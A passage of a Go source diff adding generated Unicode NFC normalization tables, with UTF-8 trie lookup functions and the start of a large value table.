0x93, 0xCD, 0x84, 0xCE, 0xA9, 0xCC, 0x94, + 0xCD, 0x84, 0xCE, 0xB1, 0xCC, 0x80, 0xCD, 0x84, + // Bytes 4940 - 497f + 0xCE, 0xB1, 0xCC, 0x81, 0xCD, 0x84, 0xCE, 0xB1, + 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0xB1, 0xCC, 0x94, + 0xCD, 0x84, 0xCE, 0xB1, 0xCD, 0x82, 0xCD, 0x84, + 0xCE, 0xB5, 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0xB5, + 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0xB7, 0xCC, 0x80, + 0xCD, 0x84, 0xCE, 0xB7, 0xCC, 0x81, 0xCD, 0x84, + 0xCE, 0xB7, 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0xB7, + 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0xB7, 0xCD, 0x82, + // Bytes 4980 - 49bf + 0xCD, 0x84, 0xCE, 0xB9, 0xCC, 0x88, 0xCD, 0x84, + 0xCE, 0xB9, 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0xB9, + 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0xBF, 0xCC, 0x93, + 0xCD, 0x84, 0xCE, 0xBF, 0xCC, 0x94, 0xCD, 0x84, + 0xCF, 0x85, 0xCC, 0x88, 0xCD, 0x84, 0xCF, 0x85, + 0xCC, 0x93, 0xCD, 0x84, 0xCF, 0x85, 0xCC, 0x94, + 0xCD, 0x84, 0xCF, 0x89, 0xCC, 0x80, 0xCD, 0x84, + 0xCF, 0x89, 0xCC, 0x81, 0xCD, 0x84, 0xCF, 0x89, + // Bytes 49c0 - 49ff + 0xCC, 0x93, 0xCD, 0x84, 0xCF, 0x89, 0xCC, 0x94, + 0xCD, 0x84, 0xCF, 0x89, 0xCD, 0x82, 0xCD, 0x86, + 0xCE, 0x91, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0x91, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0x91, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0x91, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0x91, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0x91, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x86, + // Bytes 4a00 - 4a3f + 0xCE, 0x97, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0x97, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0x97, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0x97, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0x97, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0x97, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xA9, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0xA9, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + // Bytes 4a40 - 4a7f + 0xCE, 0xA9, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xA9, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0xA9, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0xA9, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xB1, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0xB1, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0xB1, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xB1, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + // Bytes 4a80 - 4abf + 0xCE, 0xB1, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0xB1, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCE, 0xB7, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x86, + // Bytes 4ac0 - 4aff + 0xCF, 0x89, 0xCC, 0x93, 0xCC, 0x80, 0xCE, 0x86, + 0xCF, 0x89, 0xCC, 0x93, 0xCC, 0x81, 0xCE, 0x86, + 0xCF, 0x89, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x86, + 0xCF, 0x89, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x86, + 0xCF, 0x89, 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x86, + 0xCF, 0x89, 0xCC, 0x94, 0xCD, 0x82, 0xCE, 0x42, + 0xCC, 0x80, 0xCD, 0x33, 0x42, 0xCC, 0x81, 0xCD, + 0x33, 0x42, 0xCC, 0x93, 0xCD, 0x33, 0x43, 0xE1, + // Bytes 4b00 - 4b3f + 0x85, 0xA1, 0x01, 0x00, 0x43, 0xE1, 0x85, 0xA2, + 0x01, 0x00, 0x43, 0xE1, 0x85, 0xA3, 0x01, 0x00, + 0x43, 0xE1, 0x85, 0xA4, 0x01, 0x00, 0x43, 0xE1, + 0x85, 0xA5, 0x01, 0x00, 0x43, 0xE1, 0x85, 0xA6, + 0x01, 0x00, 0x43, 0xE1, 0x85, 0xA7, 0x01, 0x00, + 0x43, 0xE1, 0x85, 0xA8, 0x01, 0x00, 0x43, 0xE1, + 0x85, 0xA9, 0x01, 0x00, 0x43, 0xE1, 0x85, 0xAA, + 0x01, 0x00, 0x43, 0xE1, 0x85, 0xAB, 0x01, 0x00, + // Bytes 4b40 - 4b7f + 0x43, 0xE1, 0x85, 0xAC, 0x01, 0x00, 0x43, 0xE1, + 0x85, 0xAD, 0x01, 0x00, 0x43, 0xE1, 0x85, 0xAE, + 0x01, 0x00, 0x43, 0xE1, 0x85, 0xAF, 0x01, 0x00, + 0x43, 0xE1, 0x85, 0xB0, 0x01, 0x00, 0x43, 0xE1, + 0x85, 0xB1, 0x01, 0x00, 0x43, 0xE1, 0x85, 0xB2, + 0x01, 0x00, 0x43, 0xE1, 0x85, 0xB3, 0x01, 0x00, + 0x43, 0xE1, 0x85, 0xB4, 0x01, 0x00, 0x43, 0xE1, + 0x85, 0xB5, 0x01, 0x00, 0x43, 0xE1, 0x86, 0xAA, + // Bytes 4b80 - 4bbf + 0x01, 0x00, 0x43, 0xE1, 0x86, 0xAC, 0x01, 0x00, + 0x43, 0xE1, 0x86, 0xAD, 0x01, 0x00, 0x43, 0xE1, + 0x86, 0xB0, 0x01, 0x00, 0x43, 0xE1, 0x86, 0xB1, + 0x01, 0x00, 0x43, 0xE1, 0x86, 0xB2, 0x01, 0x00, + 0x43, 0xE1, 0x86, 0xB3, 0x01, 0x00, 0x43, 0xE1, + 0x86, 0xB4, 0x01, 0x00, 0x43, 0xE1, 0x86, 0xB5, + 0x01, 0x00, 0x44, 0xCC, 0x88, 0xCC, 0x81, 0xCE, + 0x33, 0x43, 0xE3, 0x82, 0x99, 0x11, 0x04, 0x43, + // Bytes 4bc0 - 4bff + 0xE3, 0x82, 0x9A, 0x11, 0x04, 0x46, 0xE0, 0xBD, + 0xB1, 0xE0, 0xBD, 0xB2, 0xA2, 0x27, 0x46, 0xE0, + 0xBD, 0xB1, 0xE0, 0xBD, 0xB4, 0xA6, 0x27, 0x46, + 0xE0, 0xBD, 0xB1, 0xE0, 0xBE, 0x80, 0xA2, 0x27, + 0x00, 0x01, +} + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *nfcTrie) lookup(s []byte) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return nfcValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = nfcIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *nfcTrie) lookupUnsafe(s []byte) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return nfcValues[c0] + } + i := nfcIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = nfcIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = nfcIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *nfcTrie) lookupString(s string) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return nfcValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := nfcIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = nfcIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = nfcIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *nfcTrie) lookupStringUnsafe(s string) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return nfcValues[c0] + } + i := nfcIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = nfcIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = nfcIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// nfcTrie. Total size: 10798 bytes (10.54 KiB). Checksum: b5981cc85e3bd14. +type nfcTrie struct{} + +func newNfcTrie(i int) *nfcTrie { + return &nfcTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *nfcTrie) lookupValue(n uint32, b byte) uint16 { + switch { + case n < 46: + return uint16(nfcValues[n<<6+uint32(b)]) + default: + n -= 46 + return uint16(nfcSparse.lookup(n, b)) + } +} + +// nfcValues: 48 blocks, 3072 entries, 6144 bytes +// The third block is the zero block. +var nfcValues = [3072]uint16{ + // Block 0x0, offset 0x0 + 0x3c: 0xa000, 0x3d: 0xa000, 0x3e: 0xa000, + // Block 0x1, offset 0x40 + 0x41: 0xa000, 0x42: 0xa000, 0x43: 0xa000, 0x44: 0xa000, 0x45: 0xa000, + 0x46: 0xa000, 0x47: 0xa000, 0x48: 0xa000, 0x49: 0xa000, 0x4a: 0xa000, 0x4b: 0xa000, + 0x4c: 0xa000, 0x4d: 0xa000, 0x4e: 0xa000, 0x4f: 0xa000, 0x50: 0xa000, + 0x52: 0xa000, 0x53: 0xa000, 0x54: 0xa000, 0x55: 0xa000, 0x56: 0xa000, 0x57: 0xa000, + 0x58: 0xa000, 0x59: 0xa000, 0x5a: 0xa000, + 0x61: 0xa000, 0x62: 0xa000, 0x63: 0xa000, + 0x64: 0xa000, 0x65: 0xa000, 0x66: 0xa000, 0x67: 0xa000, 0x68: 0xa000, 0x69: 0xa000, + 0x6a: 0xa000, 0x6b: 0xa000, 0x6c: 0xa000, 0x6d: 0xa000, 0x6e: 0xa000, 0x6f: 0xa000, + 0x70: 0xa000, 0x72: 0xa000, 0x73: 0xa000, 0x74: 0xa000, 0x75: 0xa000, + 0x76: 0xa000, 0x77: 0xa000, 0x78: 0xa000, 0x79: 0xa000, 0x7a: 0xa000, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc0: 0x30b0, 0xc1: 0x30b5, 0xc2: 0x47c9, 0xc3: 0x30ba, 0xc4: 0x47d8, 0xc5: 0x47dd, + 0xc6: 0xa000, 0xc7: 0x47e7, 0xc8: 0x3123, 0xc9: 0x3128, 0xca: 0x47ec, 0xcb: 0x313c, + 0xcc: 0x31af, 0xcd: 0x31b4, 0xce: 0x31b9, 0xcf: 0x4800, 0xd1: 0x3245, + 0xd2: 0x3268, 0xd3: 0x326d, 0xd4: 0x480a, 0xd5: 0x480f, 0xd6: 0x481e, + 0xd8: 0xa000, 0xd9: 0x32f4, 0xda: 0x32f9, 0xdb: 0x32fe, 0xdc: 0x4850, 0xdd: 0x3376, + 0xe0: 0x33bc, 0xe1: 0x33c1, 0xe2: 0x485a, 0xe3: 0x33c6, + 0xe4: 0x4869, 0xe5: 0x486e, 0xe6: 0xa000, 0xe7: 0x4878, 0xe8: 0x342f, 0xe9: 0x3434, + 0xea: 0x487d, 0xeb: 0x3448, 0xec: 0x34c0, 0xed: 0x34c5, 0xee: 0x34ca, 0xef: 0x4891, + 0xf1: 0x3556, 0xf2: 0x3579, 0xf3: 0x357e, 0xf4: 0x489b, 0xf5: 0x48a0, + 0xf6: 0x48af, 0xf8: 0xa000, 0xf9: 0x360a, 0xfa: 0x360f, 0xfb: 0x3614, + 0xfc: 0x48e1, 0xfd: 0x3691, 0xff: 0x36aa, + // Block 0x4, offset 0x100 + 0x100: 0x30bf, 0x101: 0x33cb, 0x102: 0x47ce, 0x103: 0x485f, 0x104: 0x30dd, 0x105: 0x33e9, + 0x106: 0x30f1, 0x107: 0x33fd, 0x108: 0x30f6, 0x109: 0x3402, 0x10a: 0x30fb, 0x10b: 0x3407, + 0x10c: 0x3100, 0x10d: 0x340c, 0x10e: 0x310a, 0x10f: 0x3416, + 0x112: 0x47f1, 0x113: 0x4882, 0x114: 0x3132, 0x115: 0x343e, 0x116: 0x3137, 0x117: 0x3443, + 0x118: 0x3155, 0x119: 0x3461, 0x11a: 0x3146, 0x11b: 0x3452, 0x11c: 0x316e, 0x11d: 0x347a, + 0x11e: 0x3178, 0x11f: 0x3484, 0x120: 0x317d, 0x121: 0x3489, 0x122: 0x3187, 0x123: 0x3493, + 0x124: 0x318c, 0x125: 0x3498, 0x128: 0x31be, 0x129: 0x34cf, + 0x12a: 0x31c3, 0x12b: 0x34d4, 0x12c: 0x31c8, 0x12d: 0x34d9, 0x12e: 0x31eb, 0x12f: 0x34f7, + 0x130: 0x31cd, 0x134: 0x31f5, 0x135: 0x3501, + 0x136: 0x3209, 0x137: 0x351a, 0x139: 0x3213, 0x13a: 0x3524, 0x13b: 0x321d, + 0x13c: 0x352e, 0x13d: 0x3218, 0x13e: 0x3529, + // Block 0x5, offset 0x140 + 0x143: 0x3240, 0x144: 0x3551, 0x145: 0x3259, + 0x146: 0x356a, 0x147: 0x324f, 0x148: 0x3560, + 0x14c: 0x4814, 0x14d: 0x48a5, 0x14e: 0x3272, 0x14f: 0x3583, 0x150: 0x327c, 0x151: 0x358d, + 0x154: 0x329a, 0x155: 0x35ab, 0x156: 0x32b3, 0x157: 0x35c4, + 0x158: 0x32a4, 0x159: 0x35b5, 0x15a: 0x4837, 0x15b: 0x48c8, 0x15c: 0x32bd, 0x15d: 0x35ce, + 0x15e: 0x32cc, 0x15f: 0x35dd, 0x160: 0x483c, 0x161: 0x48cd, 0x162: 0x32e5, 0x163: 0x35fb, + 0x164: 0x32d6, 0x165: 0x35ec, 0x168: 0x4846, 0x169: 0x48d7, + 0x16a: 0x484b, 0x16b: 0x48dc, 0x16c: 0x3303, 0x16d: 0x3619, 0x16e: 0x330d, 0x16f: 0x3623, + 0x170: 0x3312, 0x171: 0x3628, 0x172: 0x3330, 0x173: 0x3646, 0x174: 0x3353, 0x175: 0x3669, + 0x176: 0x337b, 0x177: 0x3696, 0x178: 0x338f, 0x179: 0x339e, 0x17a: 0x36be, 0x17b: 0x33a8, + 0x17c: 0x36c8, 0x17d: 0x33ad, 0x17e: 0x36cd, 0x17f: 0xa000, + // Block 0x6, offset 0x180 + 0x184: 0x8100, 0x185: 0x8100, + 0x186: 0x8100, + 0x18d: 0x30c9, 0x18e: 0x33d5, 0x18f: 0x31d7, 0x190: 0x34e3, 0x191: 0x3281, + 0x192: 0x3592, 0x193: 0x3317, 0x194: 0x362d, 0x195: 0x3b10, 0x196: 0x3c9f, 0x197: 0x3b09, + 0x198: 0x3c98, 0x199: 0x3b17, 0x19a: 0x3ca6, 0x19b: 0x3b02, 0x19c: 0x3c91, + 0x19e: 0x39f1, 0x19f: 0x3b80, 0x1a0: 0x39ea, 0x1a1: 0x3b79, 0x1a2: 0x36f4, 0x1a3: 0x3706, + 0x1a6: 0x3182, 0x1a7: 0x348e, 0x1a8: 0x31ff, 0x1a9: 0x3510, + 0x1aa: 0x482d, 0x1ab: 0x48be, 0x1ac: 0x3ad1, 0x1ad: 0x3c60, 0x1ae: 0x3718, 0x1af: 0x371e, + 0x1b0: 0x3506, 0x1b4: 0x3169, 0x1b5: 0x3475, + 0x1b8: 0x323b, 0x1b9: 0x354c, 0x1ba: 0x39f8, 0x1bb: 0x3b87, + 0x1bc: 0x36ee, 0x1bd: 0x3700, 0x1be: 0x36fa, 0x1bf: 0x370c, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x30ce, 0x1c1: 0x33da, 0x1c2: 0x30d3, 0x1c3: 0x33df, 0x1c4: 0x314b, 0x1c5: 0x3457, + 0x1c6: 0x3150, 0x1c7: 0x345c, 0x1c8: 0x31dc, 0x1c9: 0x34e8, 0x1ca: 0x31e1, 0x1cb: 0x34ed, + 0x1cc: 0x3286, 0x1cd: 0x3597, 0x1ce: 0x328b, 0x1cf: 0x359c, 0x1d0: 0x32a9, 0x1d1: 0x35ba, + 0x1d2: 0x32ae, 0x1d3: 0x35bf, 0x1d4: 0x331c, 0x1d5: 0x3632, 0x1d6: 0x3321, 0x1d7: 0x3637, + 0x1d8: 0x32c7, 0x1d9: 0x35d8, 0x1da: 0x32e0, 0x1db: 0x35f6, + 0x1de: 0x319b, 0x1df: 0x34a7, + 0x1e6: 0x47d3, 0x1e7: 0x4864, 0x1e8: 0x47fb, 0x1e9: 0x488c, + 0x1ea: 0x3aa0, 0x1eb: 0x3c2f, 0x1ec: 0x3a7d, 0x1ed: 0x3c0c, 0x1ee: 0x4819, 0x1ef: 0x48aa, + 0x1f0: 0x3a99, 0x1f1: 0x3c28, 0x1f2: 0x3385, 0x1f3: 0x36a0, + // Block 0x8, offset 0x200 + 0x200: 0x9933, 0x201: 0x9933, 0x202: 0x9933, 0x203: 0x9933, 0x204: 0x9933, 0x205: 0x8133, + 0x206: 0x9933, 0x207: 0x9933, 0x208: 0x9933, 0x209: 0x9933, 0x20a: 0x9933, 0x20b: 0x9933, + 0x20c: 0x9933, 0x20d: 0x8133, 0x20e: 0x8133, 0x20f: 0x9933, 0x210: 0x8133, 0x211: 0x9933, + 0x212: 0x8133, 0x213: 0x9933, 0x214: 0x9933, 0x215: 0x8134, 0x216: 0x812e, 0x217: 0x812e, + 0x218: 0x812e, 0x219: 0x812e, 0x21a: 0x8134, 0x21b: 0x992c, 0x21c: 0x812e, 0x21d: 0x812e, + 0x21e: 0x812e, 0x21f: 0x812e, 0x220: 0x812e, 0x221: 0x812a, 0x222: 0x812a, 0x223: 0x992e, + 0x224: 0x992e, 0x225: 0x992e, 0x226: 0x992e, 0x227: 0x992a, 0x228: 0x992a, 0x229: 0x812e, + 0x22a: 0x812e, 0x22b: 0x812e, 0x22c: 0x812e, 0x22d: 0x992e, 0x22e: 0x992e, 0x22f: 0x812e, + 0x230: 0x992e, 0x231: 0x992e, 0x232: 0x812e, 0x233: 0x812e, 0x234: 0x8101, 0x235: 0x8101, + 0x236: 0x8101, 0x237: 0x8101, 0x238: 0x9901, 0x239: 0x812e, 0x23a: 0x812e, 0x23b: 0x812e, + 0x23c: 0x812e, 0x23d: 0x8133, 0x23e: 0x8133, 0x23f: 0x8133, + // Block 0x9, offset 0x240 + 0x240: 0x4aef, 0x241: 0x4af4, 0x242: 0x9933, 0x243: 0x4af9, 0x244: 0x4bb2, 0x245: 0x9937, + 0x246: 0x8133, 0x247: 0x812e, 0x248: 0x812e, 0x249: 0x812e, 0x24a: 0x8133, 0x24b: 0x8133, + 0x24c: 0x8133, 0x24d: 0x812e, 0x24e: 0x812e, 0x250: 0x8133, 0x251: 0x8133, + 0x252: 0x8133, 0x253: 0x812e, 0x254: 0x812e, 0x255: 0x812e, 0x256: 0x812e, 0x257: 0x8133, + 0x258: 0x8134, 0x259: 0x812e, 0x25a: 0x812e, 0x25b: 0x8133, 0x25c: 0x8135, 0x25d: 0x8136, + 0x25e: 0x8136, 0x25f: 0x8135, 0x260: 0x8136, 0x261: 0x8136, 0x262: 0x8135, 0x263: 0x8133, + 0x264: 0x8133, 0x265: 0x8133, 0x266: 0x8133, 0x267: 0x8133, 0x268: 0x8133, 0x269: 0x8133, + 0x26a: 0x8133, 0x26b: 0x8133, 0x26c: 0x8133, 0x26d: 0x8133, 0x26e: 0x8133, 0x26f: 0x8133, + 0x274: 0x01ee, + 0x27a: 0x8100, + 0x27e: 0x0037, + // Block 0xa, offset 0x280 + 0x284: 0x8100, 0x285: 0x36e2, + 0x286: 0x372a, 0x287: 0x00ce, 0x288: 0x3748, 0x289: 0x3754, 0x28a: 0x3766, + 0x28c: 0x3784, 0x28e: 0x3796, 0x28f: 0x37b4, 0x290: 0x3f49, 0x291: 0xa000, + 0x295: 0xa000, 0x297: 0xa000, + 0x299: 0xa000, + 0x29f: 0xa000, 0x2a1: 0xa000, + 0x2a5: 0xa000, 0x2a9: 0xa000, + 0x2aa: 0x3778, 0x2ab: 0x37a8, 0x2ac: 0x493f, 0x2ad: 0x37d8, 0x2ae: 0x4969, 0x2af: 0x37ea, + 0x2b0: 0x3fb1, 0x2b1: 0xa000, 0x2b5: 0xa000, + 0x2b7: 0xa000, 0x2b9: 0xa000, + 0x2bf: 0xa000, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x3862, 0x2c1: 0x386e, 0x2c3: 0x385c, + 0x2c6: 0xa000, 0x2c7: 0x384a, + 0x2cc: 0x389e, 0x2cd: 0x3886, 0x2ce: 0x38b0, 0x2d0: 0xa000, + 0x2d3: 0xa000, 0x2d5: 0xa000, 0x2d6: 0xa000, 0x2d7: 0xa000, + 0x2d8: 0xa000, 0x2d9: 0x3892, 0x2da: 0xa000, + 0x2de: 0xa000, 0x2e3: 0xa000, + 0x2e7: 0xa000, + 0x2eb: 0xa000, 0x2ed: 0xa000, + 0x2f0: 0xa000, 0x2f3: 0xa000, 0x2f5: 0xa000, + 0x2f6: 0xa000, 0x2f7: 0xa000, 0x2f8: 0xa000, 0x2f9: 0x3916, 0x2fa: 0xa000, + 0x2fe: 0xa000, + // Block 0xc, offset 0x300 + 0x301: 0x3874, 0x302: 0x38f8, + 0x310: 0x3850, 0x311: 0x38d4, + 0x312: 0x3856, 0x313: 0x38da, 0x316: 0x3868, 0x317: 0x38ec, + 0x318: 0xa000, 0x319: 0xa000, 0x31a: 0x396a, 0x31b: 0x3970, 0x31c: 0x387a, 0x31d: 0x38fe, + 0x31e: 0x3880, 0x31f: 0x3904, 0x322: 0x388c, 0x323: 0x3910, + 0x324: 0x3898, 0x325: 0x391c, 0x326: 0x38a4, 0x327: 0x3928, 0x328: 0xa000, 0x329: 0xa000, + 0x32a: 0x3976, 0x32b: 0x397c, 0x32c: 0x38ce, 0x32d: 0x3952, 0x32e: 0x38aa, 0x32f: 0x392e, + 0x330: 0x38b6, 0x331: 0x393a, 0x332: 0x38bc, 0x333: 0x3940, 0x334: 0x38c2, 0x335: 0x3946, + 0x338: 0x38c8, 0x339: 0x394c, + // Block 0xd, offset 0x340 + 0x351: 0x812e, + 0x352: 0x8133, 0x353: 0x8133, 0x354: 0x8133, 0x355: 0x8133, 0x356: 0x812e, 0x357: 0x8133, + 0x358: 0x8133, 0x359: 0x8133, 0x35a: 0x812f, 0x35b: 0x812e, 0x35c: 0x8133, 0x35d: 0x8133, + 0x35e: 0x8133, 0x35f: 0x8133, 0x360: 0x8133, 0x361: 0x8133, 0x362: 0x812e, 0x363: 0x812e, + 0x364: 0x812e, 0x365: 0x812e, 0x366: 0x812e, 0x367: 0x812e, 0x368: 0x8133, 0x369: 0x8133, + 0x36a: 0x812e, 0x36b: 0x8133, 0x36c: 0x8133, 0x36d: 0x812f, 0x36e: 0x8132, 0x36f: 0x8133, + 0x370: 0x8106, 0x371: 0x8107, 0x372: 0x8108, 0x373: 0x8109, 0x374: 0x810a, 0x375: 0x810b, + 0x376: 0x810c, 0x377: 0x810d, 0x378: 0x810e, 0x379: 0x810f, 0x37a: 0x810f, 0x37b: 0x8110, + 0x37c: 0x8111, 0x37d: 0x8112, 0x37f: 0x8113, + // Block 0xe, offset 0x380 + 0x388: 0xa000, 0x38a: 0xa000, 0x38b: 0x8117, + 0x38c: 0x8118, 0x38d: 0x8119, 0x38e: 0x811a, 0x38f: 0x811b, 0x390: 0x811c, 0x391: 0x811d, + 0x392: 0x811e, 0x393: 0x9933, 0x394: 0x9933, 0x395: 0x992e, 0x396: 0x812e, 0x397: 0x8133, + 0x398: 0x8133, 0x399: 0x8133, 0x39a: 0x8133, 0x39b: 0x8133, 0x39c: 0x812e, 0x39d: 0x8133, + 0x39e: 0x8133, 0x39f: 0x812e, + 0x3b0: 0x811f, + // Block 0xf, offset 0x3c0 + 0x3ca: 0x8133, 0x3cb: 0x8133, + 0x3cc: 0x8133, 0x3cd: 0x8133, 0x3ce: 0x8133, 0x3cf: 0x812e, 0x3d0: 0x812e, 0x3d1: 0x812e, + 0x3d2: 0x812e, 0x3d3: 0x812e, 0x3d4: 0x8133, 0x3d5: 0x8133, 0x3d6: 0x8133, 0x3d7: 0x8133, + 0x3d8: 0x8133, 0x3d9: 0x8133, 0x3da: 0x8133, 0x3db: 0x8133, 0x3dc: 0x8133, 0x3dd: 0x8133, + 0x3de: 0x8133, 0x3df: 0x8133, 0x3e0: 0x8133, 0x3e1: 0x8133, 0x3e3: 0x812e, + 0x3e4: 0x8133, 0x3e5: 0x8133, 0x3e6: 0x812e, 0x3e7: 0x8133, 0x3e8: 0x8133, 0x3e9: 0x812e, + 0x3ea: 0x8133, 0x3eb: 0x8133, 0x3ec: 0x8133, 0x3ed: 0x812e, 0x3ee: 0x812e, 0x3ef: 0x812e, + 0x3f0: 0x8117, 0x3f1: 0x8118, 0x3f2: 0x8119, 0x3f3: 0x8133, 0x3f4: 0x8133, 0x3f5: 0x8133, + 0x3f6: 0x812e, 0x3f7: 0x8133, 0x3f8: 0x8133, 0x3f9: 0x812e, 